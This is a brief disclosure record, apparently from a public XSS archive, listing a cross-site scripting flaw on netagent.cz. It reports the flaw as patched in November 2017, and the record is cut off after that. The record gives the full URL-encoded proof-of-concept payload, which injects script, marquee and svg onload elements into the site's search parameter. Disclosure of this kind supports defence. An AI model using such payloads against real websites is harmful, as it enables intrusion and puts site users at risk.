netagent.cz XSS vulnerability

Vulnerable URL: http://netagent.cz/search.php?q=%3E%3C%2Ftitle%3E%3Cscript%3Ealert%28RK%29%3C%2Fscript%3E%27%22%3E%3Cmarquee%3E%3Ch1%3Etest%3C%2Fh1%3E%3C%2Fmarquee%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 22.11.2017 Latest check for...